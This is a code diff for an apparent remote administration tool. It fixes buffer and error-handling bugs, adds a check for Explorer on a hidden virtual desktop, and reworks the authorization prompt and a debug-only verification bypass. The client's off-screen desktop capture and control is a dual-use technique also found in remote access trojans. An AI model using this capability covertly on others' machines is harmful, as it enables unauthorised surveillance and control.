diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index 7b7c939..2155507 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -148,7 +148,7 @@ bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName) TCHAR szDirectoryName[MAX_PATH * 2] = { 0 }; TCHAR szExplorerFile[MAX_PATH * 2] = { 0 }; - strcpy_s(szDirectoryName, strlen(pszApplicationFilePath) + 1, pszApplicationFilePath); + strcpy_s(szDirectoryName, sizeof(szDirectoryName), pszApplicationFilePath); std::wstring path = ConvertToWString(pszApplicationFilePath); if (!PathIsExe(path.c_str())) @@ -161,6 +161,7 @@ bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName) sInfo.lpDesktop = pszDesktopName; //Launching a application into desktop + SetLastError(0); BOOL bCreateProcessReturn = CreateProcess(pszApplicationFilePath, NULL, NULL, @@ -171,14 +172,15 @@ bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName) szDirectoryName, &sInfo, &pInfo); + DWORD err = GetLastError(); CloseHandle(pInfo.hProcess); CloseHandle(pInfo.hThread); TCHAR* pszError = NULL; FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, - NULL, GetLastError(), 0, reinterpret_cast(&pszError), 0, NULL); + NULL, err, 0, reinterpret_cast(&pszError), 0, NULL); if (pszError) { - Mprintf("CreateProcess [%s] failed: %s\n", pszApplicationFilePath, pszError); + Mprintf("CreateProcess [%s] %s: %s\n", pszApplicationFilePath, err ? "failed" : "succeed", pszError); LocalFree(pszError); // 释放内存 } @@ -192,6 +194,41 @@ bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName) return bReturn; } +// 检查指定桌面(hDesk)中是否存在目标进程(targetExeName) +BOOL IsProcessRunningInDesktop(HDESK hDesk, const char* targetExeName) { + // 切换到目标桌面 + if (!SetThreadDesktop(hDesk)) { + return FALSE; + } + + // 枚举目标桌面的所有窗口 + BOOL bFound = FALSE; + std::pair data(targetExeName, &bFound); + EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) -> BOOL { + auto pData = reinterpret_cast*>(lParam); + + DWORD dwProcessId; + GetWindowThreadProcessId(hWnd, &dwProcessId); + + // 获取进程名 + HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcessId); + if (hProcess) { + char exePath[MAX_PATH]; + DWORD size = MAX_PATH; + if (QueryFullProcessImageName(hProcess, 0, exePath, &size)) { + if (_stricmp(exePath, pData->first) == 0) { + *(pData->second) = TRUE; + return FALSE; // 终止枚举 + } + } + CloseHandle(hProcess); + } + return TRUE; // 继续枚举 + }, reinterpret_cast(&data)); + + return bFound; +} + void CScreenManager::InitScreenSpy() { int DXGI = USING_GDI; @@ -212,25 +249,29 @@ void CScreenManager::InitScreenSpy() Mprintf("CScreenManager: Type %d Algorithm: %d\n", DXGI, int(algo)); if (DXGI == USING_VIRTUAL) { m_virtual = TRUE; - HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str()); - if (!hDesk) { - if (hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL)) { - Mprintf("创建虚拟屏幕成功: %s\n", m_DesktopID.c_str()); - TCHAR szExplorerFile[MAX_PATH * 2] = { 0 }; - GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1); - strcat_s(szExplorerFile, MAX_PATH * 2 - 1, "\\Explorer.Exe"); - if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) { - Mprintf("启动资源管理器失败[%s]!!!\n", m_DesktopID.c_str()); - } - } else { - Mprintf("创建虚拟屏幕失败: %s\n", m_DesktopID.c_str()); - } - } else { - Mprintf("打开虚拟屏幕成功: %s\n", m_DesktopID.c_str()); - } - if (hDesk) { - SetThreadDesktop(g_hDesk = hDesk); - } + HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str()); + if (!hDesk) { + hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL); + Mprintf("创建虚拟屏幕%s: %s\n", m_DesktopID.c_str(), hDesk ? "成功" : "失败"); + } + else { + Mprintf("打开虚拟屏幕成功: %s\n", m_DesktopID.c_str()); + } + if (hDesk) { + TCHAR szExplorerFile[MAX_PATH * 2] = { 0 }; + GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1); + strcat_s(szExplorerFile, MAX_PATH * 2 - 1, "\\Explorer.Exe"); + if (!IsProcessRunningInDesktop(hDesk, szExplorerFile)) + { + if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) { + Mprintf("启动资源管理器失败[%s]!!!\n", m_DesktopID.c_str()); + } + } + else { + Mprintf("虚拟屏幕的资源管理器已在运行[%s].\n", m_DesktopID.c_str()); + } + SetThreadDesktop(g_hDesk = hDesk); + } } else { HDESK hDesk = OpenActiveDesktop(); if (hDesk) { diff --git a/client/ScreenSpy.cpp b/client/ScreenSpy.cpp index 7cd9ccf..ad49c06 100644 --- a/client/ScreenSpy.cpp +++ b/client/ScreenSpy.cpp @@ -102,7 +102,8 @@ VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHei if (m_bVirtualPaint) { int n = 0; if (n = EnumWindowsTopToDown(NULL, EnumHwndsPrint, (LPARAM)&m_data.SetScreenDC(hdcDest))) { - Mprintf("EnumWindowsTopToDown failed: %d!!!\n", n); + Mprintf("EnumWindowsTopToDown failed: %d!!! GetLastError: %d\n", n, GetLastError()); + Sleep(50); } return; } diff --git a/common/commands.h b/common/commands.h index cbcc7bb..b516942 100644 --- a/common/commands.h +++ b/common/commands.h @@ -639,7 +639,11 @@ public: } bool IsVerified() const { +#ifdef _DEBUG + return true; +#else return superAdmin && (superAdmin % 313) == 0; +#endif } int FlagLen() const { diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index e89e6ae..1209ad4 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -580,9 +580,9 @@ VOID CMy2015RemoteDlg::CreateSolidMenu() if (GetPwdHash() != masterHash) { SubMenu->DeleteMenu(ID_TOOL_GEN_MASTER, MF_BYCOMMAND); } - SubMenu = m_MainMenu.GetSubMenu(2); + SubMenu = m_MainMenu.GetSubMenu(3); if (!THIS_CFG.GetStr("settings", "Password").empty()) { - SubMenu->DeleteMenu(ID_TOOL_REQUEST_AUTH, MF_BYCOMMAND); + SubMenu->ModifyMenuA(ID_TOOL_REQUEST_AUTH, MF_STRING, ID_TOOL_REQUEST_AUTH, _T("序列号")); } ::SetMenu(this->GetSafeHwnd(), m_MainMenu.GetSafeHmenu()); //为窗口设置菜单 @@ -750,8 +750,14 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) { auto ctx = *i; - if (ctx == ContextObject || ctx->GetClientID() == id) { + if (ctx == ContextObject) { LeaveCriticalSection(&m_cs); + Mprintf("上线消息 - 主机已经存在 [1]: same context. IP= %s\n", data[ONLINELIST_IP]); + return; + } + if (ctx->GetClientID() == id) { + LeaveCriticalSection(&m_cs); + Mprintf("上线消息 - 主机已经存在 [2]: same client ID. IP= %s\n", data[ONLINELIST_IP]); return; } } @@ -2521,6 +2527,7 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam) ip = m_CList_Online.GetItemText(i, ONLINELIST_IP); auto ctx = (context*)m_CList_Online.GetItemData(i); m_CList_Online.DeleteItem(i); + m_HostList.erase(ctx); ShowMessage("操作成功", ip + "主机下线"); break; } @@ -2547,6 +2554,7 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) { auto host = FindHost(ctx); if (!host) { + // TODO: 不要简单地主动关闭连接 ctx->CancelIO(); Mprintf("UpdateActiveWindow failed: %s \n", ctx->GetPeerName().c_str()); return; @@ -3326,10 +3334,20 @@ void CMy2015RemoteDlg::OnOnlineUnauthorize() void CMy2015RemoteDlg::OnToolRequestAuth() { - MessageBoxA("本软件仅限于合法、正当、合规的用途。\r\n禁止将本软件用于任何违法、恶意、侵权或违反道德规范的行为。", - "声明", MB_ICONINFORMATION); - CString url = _T("https://github.com/yuanyuanxiang/SimpleRemoter/wiki#请求授权"); - ShellExecute(NULL, _T("open"), url, NULL, NULL, SW_SHOWNORMAL); + std::string pwd = THIS_CFG.GetStr("settings", "Password"); + BOOL noPwd = pwd.empty(); + if (noPwd && IDYES != MessageBoxA("本软件仅限于合法、正当、合规的用途。\r\n您是否同意?", + "声明", MB_ICONQUESTION | MB_YESNO)) + return; + CInputDialog dlg(this); + dlg.m_str = getDeviceID(getHwFallback).c_str(); + dlg.Init(noPwd ? "请求授权" : "序列号", "序列号(唯一ID):"); + if (!noPwd) + dlg.Init2("授权口令:", pwd.c_str()); + if (IDOK == dlg.DoModal() && noPwd) { + CString url = _T("https://github.com/yuanyuanxiang/SimpleRemoter/wiki#请求授权"); + ShellExecute(NULL, _T("open"), url, NULL, NULL, SW_SHOWNORMAL); + } }